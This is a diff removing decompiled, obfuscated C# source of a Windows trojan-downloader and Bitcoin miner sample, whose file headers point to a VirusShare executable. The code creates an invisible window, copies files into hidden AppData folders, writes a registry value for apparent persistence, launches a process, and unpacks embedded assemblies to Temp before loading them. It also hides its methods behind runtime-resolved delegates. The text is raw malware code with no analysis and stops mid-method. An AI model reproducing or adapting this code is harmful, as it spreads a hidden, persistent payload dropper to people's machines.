internal delegate string \u0003\u0005([In] object obj0, [In] string obj1, [In] string obj2);
|
||||
@ -1,230 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0004\u0003;
|
||||
using \u000E;
|
||||
using \u0019\u0002;
|
||||
using \u009C\u0002;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace \u0004\u0003
|
||||
{
|
||||
internal sealed class \u0003\u0003 : Form
|
||||
{
|
||||
private IContainer \u0001;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public \u0003\u0003()
|
||||
{
|
||||
\u0016\u0003 obj1 = \u0016\u0003.\u0098\u0006;
|
||||
\u0003\u0003 obj2 = this;
|
||||
// ISSUE: virtual method pointer
|
||||
EventHandler eventHandler = new EventHandler((object) obj2, __vmethodptr(obj2, \u0016\u0006));
|
||||
obj1((object) this, eventHandler);
|
||||
this.\u0011\u0006();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose([In] bool obj0)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!obj0 || this.\u0001 == null)
|
||||
return;
|
||||
\u0093\u0003.\u007E\u009E((object) this.\u0001);
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0013\u0003.\u0099\u0006((object) this, obj0);
|
||||
}
|
||||
}
|
||||
|
||||
private void \u0011\u0006()
|
||||
{
|
||||
// ISSUE: type reference
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(\u0002\u0004.\u0092\u0003(__typeref (\u0003\u0003)));
|
||||
\u0093\u0003.\u007E\u008A\u0006((object) this);
|
||||
\u009D\u0003.\u007E\u008B\u0006((object) this, new SizeF(6f, 13f));
|
||||
\u0010\u0005.\u007E\u008C\u0006((object) this, AutoScaleMode.Font);
|
||||
\u000F\u0005.\u007E\u008F\u0006((object) this, new Size(1, 1));
|
||||
\u0013\u0003.\u007E\u0090\u0006((object) this, false);
|
||||
\u0012\u0005.\u007E\u008E\u0006((object) this, FormBorderStyle.None);
|
||||
\u001E\u0005.\u007E\u0091\u0006((object) this, (Icon) \u0019\u0004.\u007E\u0097\u0004((object) componentResourceManager, \u0008.\u000E\u0003(6889)));
|
||||
\u0013\u0003.\u007E\u0092\u0006((object) this, false);
|
||||
\u0013\u0003.\u007E\u0093\u0006((object) this, false);
|
||||
\u001B\u0003.\u007E\u0088\u0006((object) this, \u0008.\u000E\u0003(6906));
|
||||
\u0082\u0004.\u007E\u0094\u0006((object) this, 0.0);
|
||||
\u0013\u0003.\u007E\u0096\u0006((object) this, false);
|
||||
\u0013\u0003.\u007E\u0095\u0006((object) this, false);
|
||||
\u0008\u0005.\u007E\u0097\u0006((object) this, SizeGripStyle.Hide);
|
||||
\u0013\u0003.\u007E\u0089\u0006((object) this, false);
|
||||
}
|
||||
|
||||
private void \u0012\u0006()
|
||||
{
|
||||
label_0:
|
||||
int num1;
|
||||
int num2;
|
||||
try
|
||||
{
|
||||
int num3 = 1;
|
||||
string str1 = \u0007\u0005.\u007E\u0083((object) \u008D\u0004.\u007E\u001C((object) \u009E\u0002.\u0006\u0006()), \u0083\u0005.\u0083\u0006());
|
||||
label_1:
|
||||
num3 = 2;
|
||||
string[] strArray = \u001C\u0005.\u0086(str1, \u0008.\u000E\u0003(6915), -1, CompareMethod.Binary);
|
||||
label_2:
|
||||
num3 = 3;
|
||||
string str2 = \u0014\u0004.\u007E\u0015\u0002((object) \u001A\u0005.\u007E\u0018\u0002((object) strArray[1], 0, 1));
|
||||
label_3:
|
||||
num3 = 4;
|
||||
string str3 = \u0014\u0004.\u007E\u0015\u0002((object) \u001A\u0005.\u007E\u0018\u0002((object) strArray[2], 0, 1));
|
||||
label_4:
|
||||
num3 = 5;
|
||||
string str4 = \u0014\u0004.\u007E\u0015\u0002((object) \u0014\u0004.\u007E\u0084((object) \u0013\u0004.\u007E\u0082((object) \u008D\u0004.\u007E\u001C((object) \u009E\u0002.\u0006\u0006()))));
|
||||
label_5:
|
||||
num3 = 6;
|
||||
string str5 = \u0008.\u000E\u0003(6928);
|
||||
label_6:
|
||||
num3 = 7;
|
||||
string str6 = \u0014\u0004.\u007E\u0015\u0002((object) \u0083\u0003.\u001C\u0003(Environment.SpecialFolder.ApplicationData));
|
||||
label_7:
|
||||
\u009E\u0004.\u0080();
|
||||
num1 = -2;
|
||||
label_8:
|
||||
num3 = 9;
|
||||
string str7 = \u0088\u0005.\u001F\u0002(str4, \u0008.\u000E\u0003(6933));
|
||||
label_9:
|
||||
num3 = 10;
|
||||
\u0011\u0004.\u001D\u0005(str7);
|
||||
label_10:
|
||||
num3 = 11;
|
||||
\u0096\u0004.\u007E\u001B((object) \u0012\u0004.\u007E\u001D((object) \u009E\u0002.\u0006\u0006()), str2, str7);
|
||||
label_11:
|
||||
num3 = 12;
|
||||
this.\u0014\u0006(str7, \u0088\u0005.\u001F\u0002(str5, \u0008.\u000E\u0003(6946)));
|
||||
label_12:
|
||||
num3 = 13;
|
||||
str7 = \u0088\u0005.\u001F\u0002(str4, \u0008.\u000E\u0003(6959));
|
||||
label_13:
|
||||
num3 = 14;
|
||||
\u0011\u0004.\u001D\u0005(str7);
|
||||
label_14:
|
||||
num3 = 15;
|
||||
\u0096\u0004.\u007E\u001B((object) \u0012\u0004.\u007E\u001D((object) \u009E\u0002.\u0006\u0006()), str3, str7);
|
||||
label_15:
|
||||
num3 = 16;
|
||||
this.\u0014\u0006(str7, \u0088\u0005.\u001F\u0002(str5, \u0008.\u000E\u0003(6946)));
|
||||
label_16:
|
||||
num3 = 17;
|
||||
\u0003\u0003.\u0015\u0006(\u0008.\u000E\u0003(6976), \u0008.\u000E\u0003(6989));
|
||||
label_17:
|
||||
num3 = 18;
|
||||
this.\u0013\u0006();
|
||||
goto label_24;
|
||||
label_19:
|
||||
num2 = num3;
|
||||
switch (num1 > -2 ? num1 : 1)
|
||||
{
|
||||
case 1:
|
||||
int num4 = num2 + 1;
|
||||
num2 = 0;
|
||||
switch (num4)
|
||||
{
|
||||
case 1:
|
||||
goto label_0;
|
||||
case 2:
|
||||
goto label_1;
|
||||
case 3:
|
||||
goto label_2;
|
||||
case 4:
|
||||
goto label_3;
|
||||
case 5:
|
||||
goto label_4;
|
||||
case 6:
|
||||
goto label_5;
|
||||
case 7:
|
||||
goto label_6;
|
||||
case 8:
|
||||
goto label_7;
|
||||
case 9:
|
||||
goto label_8;
|
||||
case 10:
|
||||
goto label_9;
|
||||
case 11:
|
||||
goto label_10;
|
||||
case 12:
|
||||
goto label_11;
|
||||
case 13:
|
||||
goto label_12;
|
||||
case 14:
|
||||
goto label_13;
|
||||
case 15:
|
||||
goto label_14;
|
||||
case 16:
|
||||
goto label_15;
|
||||
case 17:
|
||||
goto label_16;
|
||||
case 18:
|
||||
goto label_17;
|
||||
case 19:
|
||||
goto label_24;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
goto label_19;
|
||||
}
|
||||
throw \u0095\u0003.\u001F(-2146828237);
|
||||
label_24:
|
||||
if (num2 == 0)
|
||||
return;
|
||||
\u009E\u0004.\u0080();
|
||||
}
|
||||
|
||||
private void \u0013\u0006()
|
||||
{
|
||||
Process process = new Process();
|
||||
ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0008.\u000E\u0003(6989));
|
||||
\u0091\u0003.\u007E\u001F\u0006((object) process, processStartInfo);
|
||||
int num = \u0007\u0003.\u007E\u0080\u0006((object) process) ? 1 : 0;
|
||||
}
|
||||
|
||||
private void \u0014\u0006([In] string obj0, [In] string obj1)
|
||||
{
|
||||
if (!\u0005\u0005.\u0014\u0005(obj1))
|
||||
goto label_2;
|
||||
label_1:
|
||||
new \u001A\u0002().\u0094\u0004(obj0, obj1, \u0008.\u000E\u0003(837));
|
||||
return;
|
||||
label_2:
|
||||
DirectoryInfo directoryInfo = new DirectoryInfo(obj1);
|
||||
\u0093\u0003.\u007E\u0018\u0005((object) directoryInfo);
|
||||
\u008F\u0004.\u007E\u0016\u0005((object) directoryInfo, FileAttributes.Hidden);
|
||||
goto label_1;
|
||||
}
|
||||
|
||||
public static void \u0015\u0006([In] string obj0, [In] string obj1)
|
||||
{
|
||||
RegistryKey currentUser = Registry.CurrentUser;
|
||||
RegistryKey registryKey = \u0090\u0003.\u007E\u0098\u0004((object) currentUser, \u0008.\u000E\u0003(7026), true);
|
||||
\u0092\u0003.\u007E\u0099\u0004((object) registryKey, obj0, (object) obj1, RegistryValueKind.String);
|
||||
}
|
||||
|
||||
private void \u0016\u0006([In] object obj0, [In] EventArgs obj1) => this.\u0012\u0006();
|
||||
}
|
||||
}
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate int \u0004\u0004([In] object obj0, [In] object obj1);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate string \u0004\u0005([In] byte[] obj0);
|
||||
@ -1,184 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0005;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Reflection.Emit;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0005
|
||||
{
|
||||
internal static class \u0004
|
||||
{
|
||||
private static ModuleHandle \u0001;
|
||||
private static char[] \u0002 = new char[58]
|
||||
{
|
||||
'\u0001',
|
||||
'\u0002',
|
||||
'\u0003',
|
||||
'\u0004',
|
||||
'\u0005',
|
||||
'\u0006',
|
||||
'\a',
|
||||
'\b',
|
||||
'\u000E',
|
||||
'\u000F',
|
||||
'\u0010',
|
||||
'\u0011',
|
||||
'\u0012',
|
||||
'\u0013',
|
||||
'\u0014',
|
||||
'\u0015',
|
||||
'\u0016',
|
||||
'\u0017',
|
||||
'\u0018',
|
||||
'\u0019',
|
||||
'\u001A',
|
||||
'\u001B',
|
||||
'\u001C',
|
||||
'\u001D',
|
||||
'\u001E',
|
||||
'\u001F',
|
||||
'\u007F',
|
||||
'\u0080',
|
||||
'\u0081',
|
||||
'\u0082',
|
||||
'\u0083',
|
||||
'\u0084',
|
||||
'\u0086',
|
||||
'\u0087',
|
||||
'\u0088',
|
||||
'\u0089',
|
||||
'\u008A',
|
||||
'\u008B',
|
||||
'\u008C',
|
||||
'\u008D',
|
||||
'\u008E',
|
||||
'\u008F',
|
||||
'\u0090',
|
||||
'\u0091',
|
||||
'\u0092',
|
||||
'\u0093',
|
||||
'\u0094',
|
||||
'\u0095',
|
||||
'\u0096',
|
||||
'\u0097',
|
||||
'\u0098',
|
||||
'\u0099',
|
||||
'\u009A',
|
||||
'\u009B',
|
||||
'\u009C',
|
||||
'\u009D',
|
||||
'\u009E',
|
||||
'\u009F'
|
||||
};
|
||||
|
||||
public static void \u0008\u0003([In] int obj0)
|
||||
{
|
||||
Type typeFromHandle;
|
||||
try
|
||||
{
|
||||
typeFromHandle = Type.GetTypeFromHandle(\u0004.\u0001.ResolveTypeHandle(33554433 + obj0));
|
||||
}
|
||||
catch
|
||||
{
|
||||
return;
|
||||
}
|
||||
foreach (FieldInfo field in typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
|
||||
{
|
||||
string name = field.Name;
|
||||
bool flag = false;
|
||||
int num = 0;
|
||||
for (int index1 = name.Length - 1; index1 >= 0; --index1)
|
||||
{
|
||||
char ch = name[index1];
|
||||
if (ch == '~')
|
||||
{
|
||||
flag = true;
|
||||
break;
|
||||
}
|
||||
for (int index2 = 0; index2 < 58; ++index2)
|
||||
{
|
||||
if ((int) \u0004.\u0002[index2] == (int) ch)
|
||||
{
|
||||
num = num * 58 + index2;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
MethodInfo methodFromHandle;
|
||||
try
|
||||
{
|
||||
methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0004.\u0001.ResolveMethodHandle(num + 167772161));
|
||||
}
|
||||
catch
|
||||
{
|
||||
continue;
|
||||
}
|
||||
Delegate @delegate;
|
||||
if (methodFromHandle.IsStatic)
|
||||
{
|
||||
try
|
||||
{
|
||||
@delegate = Delegate.CreateDelegate(field.FieldType, methodFromHandle);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
ParameterInfo[] parameters = methodFromHandle.GetParameters();
|
||||
int length = parameters.Length + 1;
|
||||
Type[] parameterTypes = new Type[length];
|
||||
parameterTypes[0] = typeof (object);
|
||||
for (int index = 1; index < length; ++index)
|
||||
parameterTypes[index] = parameters[index - 1].ParameterType;
|
||||
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true);
|
||||
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
|
||||
ilGenerator.Emit(OpCodes.Ldarg_0);
|
||||
if (length > 1)
|
||||
ilGenerator.Emit(OpCodes.Ldarg_1);
|
||||
if (length > 2)
|
||||
ilGenerator.Emit(OpCodes.Ldarg_2);
|
||||
if (length > 3)
|
||||
ilGenerator.Emit(OpCodes.Ldarg_3);
|
||||
if (length > 4)
|
||||
{
|
||||
for (int index = 4; index < length; ++index)
|
||||
ilGenerator.Emit(OpCodes.Ldarg_S, index);
|
||||
}
|
||||
ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle);
|
||||
ilGenerator.Emit(OpCodes.Ret);
|
||||
try
|
||||
{
|
||||
@delegate = dynamicMethod.CreateDelegate(typeFromHandle);
|
||||
}
|
||||
catch
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
try
|
||||
{
|
||||
field.SetValue((object) null, (object) @delegate);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static \u0004()
|
||||
{
|
||||
if ((object) typeof (MulticastDelegate) == null)
|
||||
return;
|
||||
\u0004.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate ModuleHandle \u0005\u0004([In] object obj0);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate bool \u0005\u0005([In] string obj0);
|
||||
@ -1,298 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u0012;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace \u0006
|
||||
{
|
||||
internal sealed class \u0006
|
||||
{
|
||||
private static Hashtable \u0001 = new Hashtable();
|
||||
|
||||
[DllImport("kernel32", EntryPoint = "MoveFileEx")]
|
||||
private static extern bool \u008A([In] string obj0, [In] string obj1, [In] int obj2);
|
||||
|
||||
[SpecialName]
|
||||
internal static bool \u008A()
|
||||
{
|
||||
try
|
||||
{
|
||||
string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower();
|
||||
if (lower == \u0008.\u000E\u0003(166))
|
||||
return true;
|
||||
if (lower == \u0008.\u000E\u0003(179))
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
internal static void \u008A()
|
||||
{
|
||||
try
|
||||
{
|
||||
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0006.\u0006.\u008A);
|
||||
if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0006.\u0006.\u008A())
|
||||
return;
|
||||
string[] strArray = \u0008.\u000E\u0003(200).Split(',');
|
||||
for (int index = 0; index < strArray.Length - 1; index += 2)
|
||||
{
|
||||
try
|
||||
{
|
||||
string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index]));
|
||||
string str2 = strArray[index + 1];
|
||||
if (str2.Length > 0)
|
||||
{
|
||||
if (str2[0] == '[')
|
||||
{
|
||||
int num = str2.IndexOf(']');
|
||||
string str3 = str2.Substring(1, num - 1);
|
||||
string name = str2.Substring(num + 1);
|
||||
bool flag = str3.IndexOf('z') >= 0;
|
||||
if (str3.IndexOf('f') >= 0)
|
||||
{
|
||||
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
|
||||
if (manifestResourceStream != null)
|
||||
{
|
||||
int length = (int) manifestResourceStream.Length;
|
||||
byte[] buffer = new byte[length];
|
||||
manifestResourceStream.Read(buffer, 0, length);
|
||||
if (flag)
|
||||
buffer = \u0011.\u000F\u0003(buffer);
|
||||
try
|
||||
{
|
||||
string path1 = string.Format(\u0008.\u000E\u0003(418), (object) Path.GetTempPath(), (object) name);
|
||||
Directory.CreateDirectory(path1);
|
||||
\u0006.\u0006.\u0006 obj = new \u0006.\u0006.\u0006(str1);
|
||||
string path2 = path1 + obj.\u0001 + \u0008.\u000E\u0003(431);
|
||||
if (!File.Exists(path2))
|
||||
{
|
||||
FileStream fileStream = File.OpenWrite(path2);
|
||||
fileStream.Write(buffer, 0, buffer.Length);
|
||||
fileStream.Close();
|
||||
}
|
||||
\u0089.\u0006.\u008A(path2);
|
||||
try
|
||||
{
|
||||
File.Delete(path2);
|
||||
Directory.Delete(path1);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal static Assembly \u008A([In] object obj0, [In] ResolveEventArgs obj1)
|
||||
{
|
||||
\u0006.\u0006.\u0006 obj = new \u0006.\u0006.\u0006(obj1.Name);
|
||||
string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u008A(false)));
|
||||
string[] strArray = \u0008.\u000E\u0003(200).Split(',');
|
||||
string str1 = string.Empty;
|
||||
bool flag1 = false;
|
||||
bool flag2 = false;
|
||||
bool flag3 = false;
|
||||
for (int index = 0; index < strArray.Length - 1; index += 2)
|
||||
{
|
||||
if (strArray[index] == base64String1)
|
||||
{
|
||||
str1 = strArray[index + 1];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (str1.Length == 0 && obj.\u0004.Length == 0)
|
||||
{
|
||||
string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001));
|
||||
for (int index = 0; index < strArray.Length - 1; index += 2)
|
||||
{
|
||||
if (strArray[index] == base64String2)
|
||||
{
|
||||
str1 = strArray[index + 1];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (str1.Length > 0)
|
||||
{
|
||||
if (str1[0] == '[')
|
||||
{
|
||||
int num = str1.IndexOf(']');
|
||||
string str2 = str1.Substring(1, num - 1);
|
||||
flag1 = str2.IndexOf('z') >= 0;
|
||||
flag2 = str2.IndexOf('g') >= 0;
|
||||
flag3 = str2.IndexOf('t') >= 0;
|
||||
str1 = str1.Substring(num + 1);
|
||||
}
|
||||
lock (\u0006.\u0006.\u0001)
|
||||
{
|
||||
if (\u0006.\u0006.\u0001.ContainsKey((object) str1))
|
||||
return (Assembly) \u0006.\u0006.\u0001[(object) str1];
|
||||
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1);
|
||||
if (manifestResourceStream != null)
|
||||
{
|
||||
int length = (int) manifestResourceStream.Length;
|
||||
byte[] numArray = new byte[length];
|
||||
manifestResourceStream.Read(numArray, 0, length);
|
||||
if (flag1)
|
||||
numArray = \u0011.\u000F\u0003(numArray);
|
||||
if (flag2)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path1 = string.Format(\u0008.\u000E\u0003(418), (object) Path.GetTempPath(), (object) str1);
|
||||
Directory.CreateDirectory(path1);
|
||||
string path2 = path1 + obj.\u0001 + \u0008.\u000E\u0003(431);
|
||||
if (!File.Exists(path2))
|
||||
{
|
||||
Assembly assembly = (Assembly) null;
|
||||
FileStream fileStream = File.OpenWrite(path2);
|
||||
fileStream.Write(numArray, 0, numArray.Length);
|
||||
fileStream.Close();
|
||||
if (\u0089.\u0006.\u008A(path2))
|
||||
assembly = Assembly.Load(obj.\u008A(true));
|
||||
File.Delete(path2);
|
||||
Directory.Delete(path1);
|
||||
if ((object) assembly != null)
|
||||
{
|
||||
if (\u0006.\u0006.\u0001.ContainsKey((object) str1))
|
||||
assembly = (Assembly) \u0006.\u0006.\u0001[(object) str1];
|
||||
else
|
||||
\u0006.\u0006.\u0001.Add((object) str1, (object) assembly);
|
||||
return assembly;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
Assembly assembly1 = (Assembly) null;
|
||||
if (!flag3)
|
||||
{
|
||||
try
|
||||
{
|
||||
assembly1 = Assembly.Load(numArray);
|
||||
}
|
||||
catch (FileLoadException ex)
|
||||
{
|
||||
flag3 = true;
|
||||
}
|
||||
catch (BadImageFormatException ex)
|
||||
{
|
||||
flag3 = true;
|
||||
}
|
||||
}
|
||||
if (flag3)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path3 = string.Format(\u0008.\u000E\u0003(418), (object) Path.GetTempPath(), (object) str1);
|
||||
Directory.CreateDirectory(path3);
|
||||
string path4 = path3 + obj.\u0001 + \u0008.\u000E\u0003(431);
|
||||
if (!File.Exists(path4))
|
||||
{
|
||||
FileStream fileStream = File.OpenWrite(path4);
|
||||
fileStream.Write(numArray, 0, numArray.Length);
|
||||
fileStream.Close();
|
||||
\u0006.\u0006.\u008A(path4, (string) null, 4);
|
||||
\u0006.\u0006.\u008A(path3, (string) null, 4);
|
||||
}
|
||||
assembly1 = Assembly.LoadFile(path4);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
\u0006.\u0006.\u0001[(object) str1] = (object) assembly1;
|
||||
return assembly1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return (Assembly) null;
|
||||
}
|
||||
|
||||
internal struct \u0006
|
||||
{
|
||||
public string \u0001;
|
||||
public Version \u0002;
|
||||
public string \u0003;
|
||||
public string \u0004;
|
||||
|
||||
public string \u008A([In] bool obj0)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.Append(this.\u0001);
|
||||
if (obj0)
|
||||
{
|
||||
stringBuilder.Append(\u0008.\u000E\u0003(440));
|
||||
stringBuilder.Append((object) this.\u0002);
|
||||
}
|
||||
stringBuilder.Append(\u0008.\u000E\u0003(457));
|
||||
stringBuilder.Append(this.\u0003.Length == 0 ? \u0008.\u000E\u0003(474) : this.\u0003);
|
||||
stringBuilder.Append(\u0008.\u000E\u0003(487));
|
||||
stringBuilder.Append(this.\u0004.Length == 0 ? \u0008.\u000E\u0003(512) : this.\u0004);
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public \u0006([In] string obj0)
|
||||
{
|
||||
this.\u0002 = new Version();
|
||||
this.\u0003 = string.Empty;
|
||||
this.\u0004 = string.Empty;
|
||||
this.\u0001 = string.Empty;
|
||||
string str1 = obj0;
|
||||
char[] chArray = new char[1]{ ',' };
|
||||
foreach (string str2 in str1.Split(chArray))
|
||||
{
|
||||
string str3 = str2.Trim();
|
||||
if (str3.StartsWith(\u0008.\u000E\u0003(521)))
|
||||
this.\u0002 = new Version(str3.Substring(8));
|
||||
else if (str3.StartsWith(\u0008.\u000E\u0003(534)))
|
||||
{
|
||||
this.\u0003 = str3.Substring(8);
|
||||
if (this.\u0003 == \u0008.\u000E\u0003(474))
|
||||
this.\u0003 = string.Empty;
|
||||
}
|
||||
else if (str3.StartsWith(\u0008.\u000E\u0003(547)))
|
||||
{
|
||||
this.\u0004 = str3.Substring(15);
|
||||
if (this.\u0004 == \u0008.\u000E\u0003(512))
|
||||
this.\u0004 = string.Empty;
|
||||
}
|
||||
else
|
||||
this.\u0001 = str3;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,51 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .2
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0006;
|
||||
using \u000E;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0006
|
||||
{
|
||||
internal sealed class \u00062
|
||||
{
|
||||
private static Assembly \u0001 = (Assembly) null;
|
||||
private static string[] \u0002 = new string[0];
|
||||
|
||||
internal static void \u0089()
|
||||
{
|
||||
try
|
||||
{
|
||||
AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u00062.\u0089);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal static Assembly \u0089([In] object obj0, [In] ResolveEventArgs obj1)
|
||||
{
|
||||
if ((object) \u00062.\u0001 == null)
|
||||
{
|
||||
lock (\u00062.\u0002)
|
||||
{
|
||||
\u00062.\u0001 = Assembly.Load(\u0008.\u000E\u0003(69));
|
||||
if ((object) \u00062.\u0001 != null)
|
||||
\u00062.\u0002 = \u00062.\u0001.GetManifestResourceNames();
|
||||
}
|
||||
}
|
||||
string name = obj1.Name;
|
||||
for (int index = 0; index < \u00062.\u0002.Length; ++index)
|
||||
{
|
||||
if (\u00062.\u0002[index] == name)
|
||||
return \u00062.\u0001;
|
||||
}
|
